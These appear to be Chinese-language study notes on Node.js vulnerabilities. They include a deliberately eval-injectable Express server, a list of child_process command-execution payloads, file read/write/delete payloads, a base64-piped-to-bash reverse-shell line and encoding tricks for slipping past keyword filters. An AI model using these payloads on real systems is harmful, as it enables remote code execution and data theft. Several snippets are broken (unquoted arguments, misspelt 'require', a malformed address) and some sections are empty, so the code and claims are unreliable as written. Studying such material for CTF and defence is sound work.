Nodejs漏洞学习

nodejs入门

简单的说Node.js就是运行在服务端的JavaScript。

Node.js是一个基于Chrome JavaScript运行时建立的一个平台。

Node.js是一个事件驱动IO服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

应用

  • 第一大类:用户表单收集系统、后台管理系统、实时交互系统、考试系统、联网软件、高并发量的web应用程序
  • 第二大类:基于web、canvas等多人联网游戏
  • 第三大类:基于web的多人实时聊天客户端、聊天室、图文直播
  • 第四大类:单页面浏览器应用程序
  • 第五大类:操作数据库、为前端和移动端提供基于json的API

起http服务

var http = require('http'); 

http.createServer(function (request, response) {
//发送HTTP头部
// HTTP状态值: 200: OK
//内容类型: text/plain
response.writeHead(200, {'Content-Type': 'text/plain'});
//发送响应数据"Hello World"
response.end('Hello World\n');
}).listen(8888);
//终端打印如下信息
console.log('Server running at http://127.0.0:8888/');

nodejs语言漏洞

大小写变换

toUpperCase():
ı  ==>I
ſ  ==>S

toLowerCase():
İ  ==>i
K  ==>k

弱类型

  • 与php相似的 数字与数字字符串比较的时候 数字型字符串会被转换之后 再比较
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
  • 字符串与字符串相比较 比第一个ASCII码
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2');  //true
console.log([11,16]<"10"); //false
  • 空数组比较为false

  • 数组之间比较 第一个值 如果有字符串取 第一个进行比较

  • 数组永远比非数值字符串小

console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN)  // 输出:false
console.log(NaN===NaN)  // 输出:false

变量拼接

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

ES6模板字符串

我们可以使用反引号替代括号执行函数

可以用反引号替代 单引号 双引号

可以在反引号内插入变量,模板字符串是将字符串作为参数传入函数中,而参数是一个数组,所以数组遇到${] 字符串会被分割

var aaaa = "fake_s0u1";
console.log("hello %s",aaaa);

image-20230728151712044

var aaaa = "fake_s0u1";
console.log`hello${aaaa}world`;

image-20230728151844297

md5绕过

a && b && a.length===b.length && a!==b && md5(a+flag) === md5(b+flag)

定义的对象会被解析成[object Object]

image-20230730114636674

代码注入

漏洞函数

process 的作用是提供当前 node.js 进程信息并对其进行控制。

spawn() 启动一个子进程 来执行命令 spawn(命令,{shell:true})

exec():启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。

execFile() :启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。

fork():与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件

eval()

javascript 的 eval 作用就是计算某个字符串,并执行其中的 js 代码。

var express = require("express");
var app = express();

app.get('/',function(req,res){
    res.send(eval(req.query.a));
console.log(req.query.a);
})

app.listen(1234);
console.log('Server runing at http://127.0.0.1:1234/');

我们可以看到 我们在上面的源码中 使用了eval函数

image-20230728154047574

fs模块:可以用来读取文件以及查看目录

require(‘fs’)

fs.readdirSync(path[, options])都可以用来查看目录 例如:

const fs = require('fs')

try {
  const data = fs.readFileSync('/Users/joe/test.txt', 'utf8')
  console.log(data)
} catch (err) {
  console.error(err)
}

查看当前目录:fs.readdirSync(.) 用点来查看当前目录

查看到了当前目录,那么读取当前目录下的文件内容要用到的函数就是:

fs.readfileSync(1.txt)即可读取 。 这里给出playload:

?eval=reqrise('fs').readdirSync(.)  查看当前目录
?eval=require('fs').readfileSync(1.txt) 读取文件
settimeout()

settimeout(function,time),该函数作用是两秒后执行函数,function 处为我们可控的参数。

var express = require("express");
var app = express();

setTimeout(()=>{
  console.log("console.log('Hacked')");
},2000);

var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
setinterval()

setinterval (function,time),该函数的作用是每个两秒执行一次代码。

var express = require("express");
var app = express();

setInterval(()=>{
  console.log("console.log('Hacked')");
},2000);


var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
function()

function(string)(),string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。

var express = require("express");
var app = express();

var aaa=Function("console.log('Hacked')")();

var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

process 模块命令执行

process 的作用是提供当前 node.js 进程信息并对其进行控制。

chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

child_process.execSync(command[, options])

直接给出playload:

?eval=require('child_process').execSync(ls /)
exec
require('child_process').exec('calc');
execSync
require('child_process').execSync('ls /').toString()
execFile
require('child_process').execFile("calc",{shell:true});
fork
require('child_process').fork("./hacker.js");
spawn

spawn() 启动一个子进程 来执行命令 spawn(命令,{shell:true})

require('child_process').spawn("calc",{shell:true});
spawnSync
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
反弹shell
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');

注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

PS:如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令

文件操作

那么在上面 我们已经可以执行我们像执行的代码 了 那么对于文件的操作也是很好实现的

操作函数后面有Sync 代表同步方法

nodejs文件系统模块中的方法均有异步和同步版本 比如读取文件内容的函数有 异步的fs.readFile() 和 同步的 fs.readFileSync()。

异步的方法函数 最后一个 参数为 回调函数 回调函数的 第一个参数 包含了错误信息

建议使用异步方法 性能更高 速度更快

增删查改

res.end(require('fs').readdirSync('.').toString())
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());
res.end(require('fs').readFileSync('./daigua.txt').toString());
res.end(require('fs').rmdirSync('./daigua').toString());

SSRF

\r\n注入

用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须==将请求作为原始字节输出==。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节

image-20230730122108994

image-20230730122127474

SQL注入

VM沙箱逃逸

bypass

字符拼接

原语句

require("child_process").execSync('calc')

变形语句

require("child_process")['exe'%2B'cSync']('ls /')
require("child_process")["exe".concat("cSync")]('calc')
require("child_process")["exe".concat("cSync")]('calc')
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('calc')   utf-8编码                                                  %65%78%65%63%53%79%6E%63 也是可以的
require("child_process")["\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063"]('calc')  unicode编码

eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdjYWxjJyk=','base64').toString())//base64
0%